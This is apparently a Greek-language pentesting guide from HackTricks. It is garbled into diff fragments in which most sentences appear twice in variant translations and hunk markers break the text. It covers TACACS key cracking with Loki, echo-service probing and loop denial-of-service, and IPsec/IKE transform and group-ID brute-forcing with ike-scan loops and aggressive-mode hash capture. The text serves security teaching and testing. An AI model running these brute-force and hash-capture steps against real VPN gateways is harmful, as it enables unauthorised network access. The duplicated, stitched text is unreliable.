### Βίαιη δοκιμή του Κλειδιού
### Επίθεση με Βία κατά του Κλειδιού
Το [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) μπορεί να χρησιμοποιηθεί για τη βίαιη δοκιμή του κλειδιού:
Το [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) μπορεί να χρησιμοποιηθεί για την επίθεση με βία κατά του κλειδιού:
```
sudo loki_gtk.py
```
Εάν το κλειδί **αποκρυπτογραφηθεί με επιτυχία** (**συνήθως σε κρυπτογραφημένη μορφή MD5)**, **μπορούμε να έχουμε πρόσβαση στον εξοπλισμό και να αποκρυπτογραφήσουμε την κίνηση που έχει κρυπτογραφηθεί με TACACS**.
### Αποκρυπτογράφηση Κίνησης
Αφού η κλειδί επιτευχθεί επιτυχώς, το επόμενο βήμα είναι να **αποκρυπτογραφήσουμε την κίνηση που έχει κρυπτογραφηθεί με TACACS**. Το Wireshark μπορεί να χειριστεί κρυπτογραφημένη κίνηση TACACS εάν παρέχεται το κλειδί. Αναλύοντας την αποκρυπτογραφημένη κίνηση, μπορεί να ανακτηθούν πληροφορίες όπως το **μπάνερ που χρησιμοποιείται και το όνομα χρήστη του διαχειριστή**.
### Αποκρυπτογράφηση της Κίνησης
Μόλις το κλειδί αποκρυπτογραφηθεί με επιτυχία, το επόμενο βήμα είναι να **αποκρυπτογραφήσουμε την κίνηση που έχει κρυπτογραφηθεί με TACACS**. Το Wireshark μπορεί να χειριστεί την αποκρυπτογραφημένη κίνηση TACACS αν παρέχεται το κλειδί. Αναλύοντας την αποκρυπτογραφημένη κίνηση, μπορούμε να αντλήσουμε πληροφορίες όπως το **μπάνερ που χρησιμοποιείται και το όνομα χρήστη του διαχειριστή**.
Αποκτώντας πρόσβαση στον πίνακα ελέγχου του δικτυακού εξοπλισμού χρησιμοποιώντας τα αποκτηθέντα διαπιστευτήρια, ο επιτιθέμενος μπορεί να ασκήσει έλεγχο στο δίκτυο. Είναι σημαντικό να σημειωθεί ότι αυτές οι ενέργειες πραγματοποιούνται αυστηρά για εκπαιδευτικούς σκοπούς και δεν πρέπει να χρησιμοποιούνται χωρίς την κατάλληλη εξουσιοδότηση.
Με την απόκτηση πρόσβασης στον πίνακα ελέγχου του εξοπλισμού δικτύου χρησιμοποιώντας τα λογαριασμάτα που έχουν αποκτηθεί, ο επιτιθέμενος μπορεί να ασκήσει έλεγχο στο δίκτυο. Είναι σημαντικό να σημειωθεί ότι αυτές οι ενέργειες είναι αυστηρά για εκπαιδευτικούς σκοπούς και δεν πρέπει να χρησιμοποιούνται χωρίς την κατάλληλη έγκριση.
## Αναφορές
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,10 +1,10 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,11 +12,18 @@
</details>
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Βασικές Πληροφορίες
Ένα υπηρεσία echo τρέχει σε αυτό τον κεντρικό υπολογιστή. Η υπηρεσία echo προορίζεται για δοκιμές και μέτρηση και μπορεί να ακούει τόσο στα πρωτόκολλα TCP όσο και UDP. Ο διακομιστής επιστρέφει οποιαδήποτε δεδομένα λαμβάνει, χωρίς καμία τροποποίηση.\
**Είναι δυνατόν να προκληθεί αποτυχία υπηρεσίας συνδέοντας την υπηρεσία echo με την υπηρεσία echo στον ίδιο ή άλλο υπολογιστή**. Λόγω του υπερβολικά υψηλού αριθμού πακέτων που παράγονται, οι επηρεαζόμενοι υπολογιστές μπορεί να αποκλειστούν από την υπηρεσία.\
Ένα υπηρεσία echo τρέχει σε αυτό τον κεντρικό υπολογιστή. Η υπηρεσία echo προοριζόταν για δοκιμές και μέτρηση και μπορεί να ακούει τόσο στα πρωτόκολλα TCP όσο και UDP. Ο διακομιστής επιστρέφει οποιαδήποτε δεδομένα λαμβάνει, χωρίς καμία τροποποίηση.\
**Είναι δυνατόν να προκαλείτε μια αρνητική υπηρεσία συνδέοντας μια υπηρεσία echo με την υπηρεσία echo στον ίδιο ή άλλο υπολογιστή**. Λόγω του υπερβολικά υψηλού αριθμού πακέτων που παράγονται, οι επηρεασμένοι υπολογιστές μπορεί να αποσυρθούν αποτελεσματικά από την υπηρεσία.\
Πληροφορίες από [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Προεπιλεγμένη Θύρα:** 7/tcp/udp
@ -26,26 +33,6 @@ PORT STATE SERVICE
7/tcp open echo
```
## Επικοινωνία με την υπηρεσία Echo (UDP)
The Echo service is a simple network service that allows a client to send a message to a server, which then echoes the message back to the client. This service is commonly used for testing and debugging purposes.
To contact the Echo service using UDP, you can use the `nc` command in Linux or the `ncat` command in Windows. Here is the syntax for both commands:
```bash
nc -u <server_ip> <port>
```
```bash
ncat -u <server_ip> <port>
```
Replace `<server_ip>` with the IP address of the server running the Echo service, and `<port>` with the port number on which the service is listening.
Once you establish a connection, you can send a message to the server. The server will then echo the message back to you. This can be useful for testing network connectivity and verifying that UDP packets are being properly transmitted.
Remember that UDP is a connectionless protocol, so you don't need to establish a connection before sending data. However, you should ensure that the server is running and listening on the specified port before attempting to contact the Echo service.
Happy testing!
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -62,16 +49,22 @@ Hello echo #This is the response
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -14,15 +14,23 @@
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Βασικές Πληροφορίες
**Το IPsec** αναγνωρίζεται ευρέως ως η κύρια τεχνολογία για την ασφάλιση των επικοινωνιών μεταξύ δικτύων (LAN-to-LAN) και από απομακρυσμένους χρήστες προς την πύλη του δικτύου (απομακρυσμένη πρόσβαση), λειτουργώντας ως η βάση για λύσεις επιχειρησιακών VPN.
Το **IPsec** αναγνωρίζεται ευρέως ως η κύρια τεχνολογία για την ασφάλιση των επικοινωνιών μεταξύ δικτύων (LAN-to-LAN) και από απομακρυσμένους χρήστες προς την πύλη του δικτύου (απομακρυσμένη πρόσβαση), λειτουργώντας ως η βάση για λύσεις επιχειρησιακών VPN.
Η δημιουργία μιας **συναλλαγής ασφάλειας (SA)** μεταξύ δύο σημείων διαχειρίζεται από το **IKE**, το οποίο λειτουργεί υπό την ομπρέλα του ISAKMP, ένα πρωτόκολλο σχεδιασμένο για την πιστοποίηση και την ανταλλαγή κλειδιών. Αυτή η διαδικασία εξελίσσεται σε αρκετές φάσεις:
Η δημιουργία μιας **συναλλαγής ασφάλειας (SA)** μεταξύ δύο σημείων διαχειρίζεται από το **IKE**, το οποίο λειτουργεί υπό την ομπρέλα του ISAKMP, ένα πρωτόκολλο σχεδιασμένο για την αυθεντικοποίηση και την ανταλλαγή κλειδιών. Αυτή η διαδικασία εκτυλίσσεται σε αρκετές φάσεις:
- **Φάση 1:** Δημιουργείται ένα ασφαλές κανάλι μεταξύ δύο σημείων. Αυτό επιτυγχάνεται μέσω της χρήσης ενός Προκαθορισμένου Κλειδιού (PSK) ή πιστοποιητικών, χρησιμοποιώντας είτε την κύρια λειτουργία, η οποία περιλαμβάνει τρία ζεύγη μηνυμάτων, είτε **επιθετική λειτουργία**.
- **Φάση 1.5:** Αν και δεν είναι υποχρεωτική, αυτή η φάση, γνωστή ως Φάση Επεκτεινόμενης Ταυτοποίησης, επαληθεύει την ταυτότητα του χρήστη που προσπαθεί να συνδεθεί απαιτώντας ένα όνομα χρήστη και κωδικό πρόσβασης.
- **Φάση 2:** Αυτή η φάση είναι αφιερωμένη στη διαπραγμάτευση των παραμέτρων για την ασφάλιση δεδομένων με **ESP** και **AH**. Επιτρέπει τη χρήση αλγορίθμων διαφορετικών από αυτούς στη Φάση 1 για να διασφαλίσει την **Τέλεια Μελλοντική Εχεμύθεια (PFS)**, ενισχύοντας την ασφάλεια.
- **Φάση 2:** Αυτή η φάση είναι αφιερωμένη στη διαπραγμάτευση των παραμέτρων για την ασφάλιση δεδομένων με **ESP** και **AH**. Επιτρέπει τη χρήση αλγορίθμων διαφορετικών από αυτούς στη Φάση 1 για να διασφαλίσει την **Τέλεια Μετάδοση Μυστικών (PFS)**, ενισχύοντας την ασφάλεια.
**Προεπιλεγμένη θύρα:** 500/udp
@ -40,9 +48,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Η διαμόρφωση του IPSec μπορεί να προετοιμαστεί μόνο για να αποδεχθεί μία ή λίγες μετασχηματιστικές λειτουργίες. Μια μετασχηματιστική λειτουργία είναι μια συνδυασμός τιμών. **Κάθε μετασχηματισμός** περιέχει έναν αριθμό χαρακτηριστικών όπως το DES ή το 3DES ως αλγόριθμος **κρυπτογράφησης**, το SHA ή το MD5 ως αλγόριθμος **ακεραιότητας**, ένα προκαθορισμένο κλειδί ως τύπος **πιστοποίησης**, Diffie-Hellman 1 ή 2 ως αλγόριθμος **διανομής κλειδιών** και 28800 δευτερόλεπτα ως **διάρκεια ζωής**.
Στη συνέχεια, το πρώτο πράγμα που πρέπει να κάνετε είναι να **βρείτε μια έγκυρη μετασχηματιστική λειτουργία**, ώστε ο διακομιστής να επικοινωνήσει μαζί σας. Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το εργαλείο **ike-scan**. Από προεπιλογή, το Ike-scan λειτουργεί σε κύρια λειτουργία και στέλνει ένα πακέτο στην πύλη με έναν κεφαλίδα ISAKMP και μια μόνο πρόταση με **οκτώ μετασχηματισμούς μέσα σε αυτή**.
Στη συνέχεια, το πρώτο πράγμα που πρέπει να κάνετε είναι να **βρείτε μια έγκυρη μετασχηματιστική λειτουργία**, ώστε ο διακομιστής να συνομιλήσει μαζί σας. Για να το κάνετε αυτό, μπορείτε να χρησιμοποιήσετε το εργαλείο **ike-scan**. Από προεπιλογή, το Ike-scan λειτουργεί σε κύρια λειτουργία και στέλνει ένα πακέτο στην πύλη με έναν κεφαλίδα ISAKMP και μια μόνο πρόταση με **οκτώ μετασχηματιστικές λειτουργίες μέσα σε αυτή**.
Ανάλογα με την απάντηση, μπορείτε να λάβετε ορισμένες πληροφορίες σχετικά με το τέλος:
Ανάλογα με την απάντηση, μπορείτε να λάβετε ορισμένες πληροφορίες σχετικά με το σημείο πρόσβασης:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -53,12 +61,12 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Όπως μπορείτε να δείτε στην προηγούμενη απάντηση, υπάρχει ένα πεδίο που ονομάζεται **AUTH** με την τιμή **PSK**. Αυτό σημαίνει ότι το vpn έχει ρυθμιστεί χρησιμοποιώντας ένα προκαθορισμένο κλειδί (και αυτό είναι πραγματικά καλό για έναν ελεγκτή ασφαλείας).\
Όπως μπορείτε να δείτε στην προηγούμενη απάντηση, υπάρχει ένα πεδίο που ονομάζεται **AUTH** με την τιμή **PSK**. Αυτό σημαίνει ότι το vpn έχει ρυθμιστεί χρησιμοποιώντας ένα προκαθορισμένο κλειδί (και αυτό είναι πραγματικά καλό για έναν pentester).\
**Η τιμή της τελευταίας γραμμής είναι επίσης πολύ σημαντική:**
* _0 επέστρεψε handshake; 0 επέστρεψε ειδοποίηση:_ Αυτό σημαίνει ότι ο στόχος **δεν είναι ένας πύλη IPsec**.
* _0 επέστρεψε handshake; 0 επέστρεψε ειδοποίηση:_ Αυτό σημαίνει ότι το στόχος **δεν είναι ένας πύλη IPsec**.
* _**1 επέστρεψε handshake; 0 επέστρεψε ειδοποίηση:**_ Αυτό σημαίνει ότι ο **στόχος έχει ρυθμιστεί για IPsec και είναι πρόθυμος να πραγματοποιήσει διαπραγμάτευση IKE, και μία ή περισσότερες από τις μετασχηματίσεις που προτείνατε είναι αποδεκτές** (μια έγκυρη μετασχηματιστική θα εμφανιστεί στην έξοδο).
* _0 επέστρεψε handshake; 1 επέστρεψε ειδοποίηση:_ Οι πύλες VPN ανταποκρίνονται με ένα μήνυμα ειδοποίησης όταν **καμία από τις μετασχηματίσεις δεν είναι αποδεκτές** (αν και μερικές πύλες δεν το κάνουν, οπότε πρέπει να δοκιμαστεί περαιτέρω ανάλυση και μια αναθεωρημένη πρόταση).
* _0 επέστρεψε handshake; 1 επέστρεψε ειδοποίηση:_ Οι πύλες VPN ανταποκρίνονται με ένα μήνυμα ειδοποίησης όταν **καμία από τις μετασχηματίσεις δεν είναι αποδεκτές** (αν και μερικές πύλες δεν το κάνουν, σε αυτή την περίπτωση θα πρέπει να δοκιμαστεί περαιτέρω ανάλυση και μια αναθεωρημένη πρόταση).
Στη συνέχεια, σε αυτήν την περίπτωση έχουμε ήδη μια έγκυρη μετασχηματιστική αλλά αν βρίσκεστε στην 3η περίπτωση, τότε πρέπει να **δοκιμάσετε λίγο brute-force για να βρείτε μια έγκυρη μετασχηματιστική:**
@ -70,13 +78,13 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Αν η μέθοδος εξαναγκασμού δεν λειτούργησε, ίσως ο διακομιστής ανταποκρίνεται χωρίς χειραψίες ακόμα και σε έγκυρες μετασχηματίσεις. Στη συνέχεια, θα μπορούσες να δοκιμάσεις την ίδια μέθοδο εξαναγκασμού χρησιμοποιώντας τη λειτουργία επιθετικού τρόπου:
Αν η μέθοδος εξαναγκασμού δεν λειτούργησε, ίσως ο διακομιστής απαντά χωρίς χειραψίες ακόμα και σε έγκυρες μετασχηματίσεις. Στη συνέχεια, μπορείτε να δοκιμάσετε την ίδια μέθοδο εξαναγκασμού χρησιμοποιώντας τη λειτουργία επιθετικού τρόπου:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Ελπίζουμε **να επιστραφεί μια έγκυρη μετασχηματισμένη τιμή**.\
Ελπίζουμε **να επιστραφεί μια έγκυρη μετατροπή**.\
Μπορείτε να δοκιμάσετε τη **ίδια επίθεση** χρησιμοποιώντας το [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Μπορείτε επίσης να δοκιμάσετε τη δύναμη της μετασχηματισμού με το [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
Μπορείτε επίσης να δοκιμάσετε τη δύναμη της μετατροπής με το [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
@ -85,13 +93,13 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
Στο **DH Group: 14 = 2048-bit MODP** και **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (σε αυτήν την περίπτωση). Η μορφή `--trans` είναι $Enc,$Hash,$Auth,$DH**
Η Cisco υποδεικνύει να αποφεύγετε τη χρήση των DH ομάδων 1 και 2 επειδή δεν είναι αρκετά ισχυρές. Οι ειδικοί πιστεύουν ότι **χώρες με πολλούς πόρους μπορούν εύκολα να αποκρυπτογραφήσουν** τα δεδομένα που χρησιμοποιούν αυτές τις αδύναμες ομάδες. Αυτό επιτυγχάνεται χρησιμοποιώντας ένα ειδικό μέθοδο που τις προετοιμάζει για γρήγορη αποκρυπτογράφηση των κωδικών. Παρόλο που κοστίζει πολλά χρήματα να εγκατασταθεί αυτή η μέθοδος, επιτρέπει σε αυτές τις ισχυρές χώρες να διαβάζουν τα κρυπτογραφημένα δεδομένα σε πραγματικό χρόνο αν χρησιμοποιείται μια ομάδα που δεν είναι ισχυρή (όπως 1,024-bit ή μικρότερη).
Η Cisco υποδεικνύει να αποφεύγετε τη χρήση των DH ομάδων 1 και 2 επειδή δεν είναι αρκετά ισχυρές. Οι ειδικοί πιστεύουν ότι **χώρες με πολλούς πόρους μπορούν εύκολα να αποκρυπτογραφήσουν** δεδομένα που χρησιμοποιούν αυτές τις αδύναμες ομάδες. Αυτό επιτυγχάνεται χρησιμοποιώντας ένα ειδικό μέθοδο που τις προετοιμάζει να αποκρυπτογραφήσουν γρήγορα τους κωδικούς. Παρόλο που κοστίζει πολλά χρήματα να εγκατασταθεί αυτή η μέθοδος, επιτρέπει σε αυτές τις ισχυρές χώρες να διαβάζουν τα κρυπτογραφημένα δεδομένα σε πραγματικό χρόνο αν χρησιμοποιείται μια ομάδα που δεν είναι ισχυρή (όπως η 1,024-bit ή μικρότερη).
### Ανίχνευση δακτυλικών αποτυπωμάτων διακομιστή
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το ike-scan για να προσπαθήσετε να **ανακαλύψετε τον προμηθευτή** της συσκευής. Το εργαλείο στέλνει μια αρχική πρόταση και σταματά την επανάληψη. Στη συνέχεια, θα **αναλύσει** τη **διαφορά χρόνου** μεταξύ των ληφθέντων **μηνυμάτων** από τον διακομιστή και το αντίστοιχο πρότυπο απάντησης, ώστε ο δοκιμαστής να μπορεί να ανιχνεύσει με επιτυχία τον προμηθευτή της πύλης VPN. Επιπλέον, ορισμένοι διακομιστές VPN θα χρησιμοποιήσουν το προαιρετικό **πληρωμή Vendor ID (VID)** με το IKE.
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το ike-scan για να προσπαθήσετε να **ανακαλύψετε τον προμηθευτή** της συσκευής. Το εργαλείο στέλνει μια αρχική πρόταση και σταματά την επανάληψη. Στη συνέχεια, θα **αναλύσει** τη **διαφορά χρόνου** μεταξύ των ληφθέντων **μηνυμάτων** από τον διακομιστή και το αντίστοιχο πρότυπο απάντησης, ώστε ο δοκιμαστής να μπορεί να ανιχνεύσει με επιτυχία τον προμηθευτή πύλης VPN. Επιπλέον, ορισμένοι διακομιστές VPN θα χρησιμοποιήσουν το προαιρετικό **πληθυσμιακό φορτίο Αναγνωριστικού Προμηθευτή (VID)** με το IKE.
**Καθορίστε την έγκυρη μετασχηματισμό αν είναι απαραίτητο** (χρησιμοποιώντας --trans)
**Καθορίστε την έγκυρη μετασχηματιστική διαδικασία αν είναι απαραίτητο** (χρησιμοποιώντας --trans)
Αν το IKE ανακαλύψει ποιος είναι ο προμηθευτής, θα το εκτυπώσει:
```
@ -115,12 +123,12 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
```
Αυτό μπορεί να επιτευχθεί επίσης με το script **_ike-version_** του nmap.
## Εύρεση του σωστού ID (όνομα ομάδας)
## Εύρεση του σωστού ID (ονομασία ομάδας)
Για να επιτραπεί η καταγραφή του hash, χρειάζεστε μια έγκυρη μετασχηματιστική υποστήριξη στη λειτουργία Aggressive και το σωστό ID (όνομα ομάδας). Πιθανώς δεν θα γνωρίζετε το έγκυρο όνομα ομάδας, οπότε θα πρέπει να το αναζητήσετε με βία.\
Για να επιτραπεί η καταγραφή του hash, χρειάζεστε μια έγκυρη μετασχηματιστική υποστήριξη στη λειτουργία Aggressive και το σωστό ID (ονομασία ομάδας). Πιθανώς δεν θα γνωρίζετε την έγκυρη ονομασία ομάδας, οπότε θα πρέπει να την αναζητήσετε με βία.\
Για να το κάνετε αυτό, θα σας πρότεινα 2 μέθοδους:
### Αναζήτηση ID με το ike-scan
### Αναζήτηση ID με brute-force χρησιμοποιώντας το ike-scan
Καταρχάς, προσπαθήστε να κάνετε μια αίτηση με ένα ψεύτικο ID προσπαθώντας να συγκεντρώσετε το hash ("-P"):
```bash
@ -134,29 +142,29 @@ ike-scan -P -M -A -n fakeID <IP>
Αυτό το script **θα προσπαθήσει να επιτεθεί με βία σε πιθανά IDs** και θα επιστρέψει τα IDs όπου επιστρέφεται μια έγκυρη χειραψία (αυτό θα είναι ένα έγκυρο όνομα ομάδας).
Αν έχετε ανακαλύψει μια συγκεκριμένη μετατροπή, προσθέστε τη στην εντολή ike-scan. Και αν έχετε ανακαλύψει πολλαπλές μετατροπές, μπορείτε να προσθέσετε ένα νέο βρόγχο για να τις δοκιμάσετε όλες (θα πρέπει να τις δοκιμάσετε όλες μέχρι να λειτουργήσει σωστά μία από αυτές).
Αν έχετε ανακαλύψει μια συγκεκριμένη μετατροπή, προσθέστε τη στην εντολή ike-scan. Και αν έχετε ανακαλύψει πολλαπλές μετατροπές, μπορείτε να προσθέσετε ένα νέο βρόχο για να τις δοκιμάσετε όλες (θα πρέπει να τις δοκιμάσετε όλες μέχρι να λειτουργήσει σωστά μία από αυτές).
Μπορείτε να χρησιμοποιήσετε το [λεξικό του ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ή [αυτό στο seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) με τα κοινά ονόματα ομάδων για να τα επιτεθείτε με βία:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
### Επίθεση με Bruteforcing ID χρησιμοποιώντας το Iker
### Επίθεση με Brute Force στο ID με το Iker
Το [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) χρησιμοποιεί επίσης το **ike-scan** για να δοκιμάσει με βίαιο τρόπο πιθανά ονόματα ομάδων. Ακολουθεί τη δική του μέθοδο για **εύρεση ενός έγκυρου ID με βάση την έξοδο του ike-scan**.
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) χρησιμοποιεί επίσης το **ike-scan** για να εκτελέσει brute force σε πιθανά ονόματα ομάδων. Ακολουθεί τη δική του μέθοδο για να **βρει ένα έγκυρο ID με βάση την έξοδο του ike-scan**.
